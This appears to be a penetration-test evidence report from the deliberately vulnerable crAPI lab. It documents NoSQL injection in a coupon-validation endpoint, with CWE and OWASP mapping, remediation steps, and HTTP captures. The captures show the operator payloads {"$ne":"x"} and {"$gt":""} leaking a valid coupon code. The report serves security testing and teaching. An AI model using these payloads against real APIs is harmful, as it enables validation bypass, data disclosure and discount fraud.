NoSQL Injection - Community - Coupon Validation
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
crAPI/Evidence/[FAIL] NoSQL Injection - Community - Coupon Validation
01 — Notes
Test notes
Vulnerability
Description
Impact
CWE
OWASP
Scenario
Endpoint
Affected feature
Remediation
Proof of concept
View source note (English)
Vulnerability: [FAIL] NoSQL Injection - Community - Coupon Validation
Description:
The validate-coupon endpoint passes the JSON value coupon_code straight into a MongoDB query without type sanitization. Query operators (e.g. $ne, $gt) match any coupon without knowing its code.
Impact:
Confidentiality: valid coupon codes and values are disclosed. Integrity: coupon validation is bypassed, enabling discount abuse.
CWE:
CWE-943: Improper Neutralization of Special Elements in Data Query Logic (NoSQL Injection)
OWASP:
API8:2023 - Security Misconfiguration (Injection)
Scenario:
Normal: a valid string coupon code (TRAC075) -> 200. Exploitation: coupon_code is replaced with a NoSQL operator ($ne/$gt) -> discloses coupons without knowing the code -> CIA (Confidentiality + Integrity).
Endpoint:
POST http://127.0.0.1:8888/community/api/v2/coupon/validate-coupon
Affected Feature:
Coupon Validation (crapi-community)
Remediation:
- Enforce the string type on coupon_code; reject objects/operators.
- Use parameterized queries/sanitization and validate the input schema.
POC:
1) (Screenshot 1) NORMAL: POST validate-coupon with the valid string coupon_code "TRAC075" -> 200.
2) (Screenshot 2) EXPLOITATION: change coupon_code to the operator {"$ne":"x"} -> 200 discloses a valid coupon without knowing its code.
3) (Screenshot 3) CIA IMPACT: the operator {"$gt":""} also discloses a coupon -> confirms NoSQL injection.
02 — Screenshots
Screenshots (3)
Normal flow: the user enters a known coupon code as a string (TRAC075) and receives 200, confirming that the code is valid.
Exploit: replacing the coupon_code value with the NoSQL operator {"$ne":"x"} exposes a valid coupon without knowing its code.
Impact: the operator {"$gt":""} also exposes a coupon. Leaking the coupon code and value compromises confidentiality; bypassing coupon validation compromises integrity.
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"coupon_code":"TRAC075"}HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79
{
"coupon_code": "TRAC075",
"amount": "75",
"CreatedAt": "2026-09-28T14:27:38.729Z"
}Normal flow: the user enters a known coupon code as a string (TRAC075) and receives 200, confirming that the code is valid.
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"coupon_code":{"$ne":"x"}}HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79
{
"coupon_code": "TRAC075",
"amount": "75",
"CreatedAt": "2026-09-28T14:27:38.729Z"
}Exploit: replacing the coupon_code value with the NoSQL operator {"$ne":"x"} exposes a valid coupon without knowing its code.
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"coupon_code":{"$gt":""}}HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 79
{
"coupon_code": "TRAC075",
"amount": "75",
"CreatedAt": "2026-09-28T14:27:38.729Z"
}Impact: the operator {"$gt":""} also exposes a coupon. Leaking the coupon code and value compromises confidentiality; bypassing coupon validation compromises integrity.